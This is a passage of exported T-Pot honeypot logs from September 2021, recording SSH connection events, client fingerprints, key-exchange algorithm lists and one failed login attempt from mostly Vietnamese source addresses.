etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	\N	\N
22781	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:07:27.655607+03	2021-09-20 14:15:06.65447+03	{"_id": "MQbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:45542 (192.168.176.2:22) [session: 3cac9f3ff289]", "session": "3cac9f3ff289", "@version": "1", "protocol": "ssh", "src_port": 45542, "dest_port": 22, "timestamp": "2021-09-20T11:07:27.655607Z", "@timestamp": "2021-09-20T11:07:27.655Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22782	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:28.100748+03	2021-09-20 14:15:06.65547+03	{"_id": "MwbjAnwBvYTbRNuErwso", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.105.211.46:41714 (192.168.176.2:22) [session: 0b451abe3cec]", "session": "0b451abe3cec", "@version": "1", "protocol": "ssh", "src_port": 41714, "dest_port": 22, "timestamp": "2021-09-20T11:07:28.100748Z", "@timestamp": "2021-09-20T11:07:28.100Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22783	115.72.130.93	109.199.241.180	Suricata	2021-09-20 14:07:29.320966+03	2021-09-20 14:15:06.65647+03	{"_id": "ngbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "flow_id": 1579770230902583, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 39850, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.320966Z", "@timestamp": "2021-09-20T11:07:29.320Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22784	116.105.211.46	109.199.241.180	Suricata	2021-09-20 14:07:29.265749+03	2021-09-20 14:15:06.65847+03	{"_id": "mQbjAnwBvYTbRNuEtQuE", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.105.211.46", "dest_ip": "192.168.20.116", "flow_id": 1782226399229378, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 41714, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.265749Z", "@timestamp": "2021-09-20T11:07:29.265Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22787	116.110.220.49	109.199.241.180	Cowrie	2021-09-20 14:07:29.952977+03	2021-09-20 14:15:06.6615+03	{"_id": "sgbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.110.220.49", "eventid": "cowrie.login.failed", "message": "login attempt [tmp/tmp] failed", "session": "a11410308f1c", "@version": "1", "password": "tmp", "username": "tmp", "timestamp": "2021-09-20T11:07:29.952977Z", "@timestamp": "2021-09-20T11:07:29.952Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22788	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:30.242065+03	2021-09-20 14:15:06.66247+03	{"_id": "vgbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.session.closed", "message": "Connection lost after 6 seconds", "session": "fd00b0142700", "@version": "1", "duration": 6.490884065628052, "timestamp": "2021-09-20T11:07:30.242065Z", "@timestamp": "2021-09-20T11:07:30.242Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22789	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:30.214392+03	2021-09-20 14:15:06.664471+03	{"_id": "qAbjAnwBvYTbRNuEtgv7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "8c469a0dbd06", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:07:30.214392Z", "@timestamp": "2021-09-20T11:07:30.214Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22790	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:29.109023+03	2021-09-20 14:15:06.66547+03	{"_id": "wwbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 39850, "timestamp": "2021-09-20T11:07:29.109023", "@timestamp": "2021-09-20T11:07:29.109Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22791	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:29.236857+03	2021-09-20 14:15:06.6675+03	{"_id": "xAbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 45050, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.236857", "@timestamp": "2021-09-20T11:07:29.236Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22797	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:29.535727+03	2021-09-20 14:15:06.6745+03	{"_id": "ygbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "ecd82972c77c", "@version": "1", "duration": 2.6656394004821777, "timestamp": "2021-09-20T11:07:29.535727Z", "@timestamp": "2021-09-20T11:07:29.535Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22792	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:29.284671+03	2021-09-20 14:15:06.6685+03	{"_id": "xQbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "123.126.106.88", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 48278, "timestamp": "2021-09-20T11:07:29.284671", "@timestamp": "2021-09-20T11:07:29.284Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22793	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:29.613467+03	2021-09-20 14:15:06.669509+03	{"_id": "xgbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58838, "timestamp": "2021-09-20T11:07:29.613467", "@timestamp": "2021-09-20T11:07:29.613Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22794	123.126.106.88	109.199.241.180	Fatt	2021-09-20 14:07:29.664647+03	2021-09-20 14:15:06.670509+03	{"_id": "xwbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "123.126.106.88", "asn": 4808, "as_org": "China Unicom Beijing Province Network", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "123.126.106.88", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 48278, "dest_port": 22, "timestamp": "2021-09-20T11:07:29.664647", "@timestamp": "2021-09-20T11:07:29.664Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22795	115.72.130.93	109.199.241.180	Fatt	2021-09-20 14:07:29.832322+03	2021-09-20 14:15:06.671497+03	{"_id": "yAbjAnwBvYTbRNuEtgv9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "115.72.130.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "115.72.130.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": 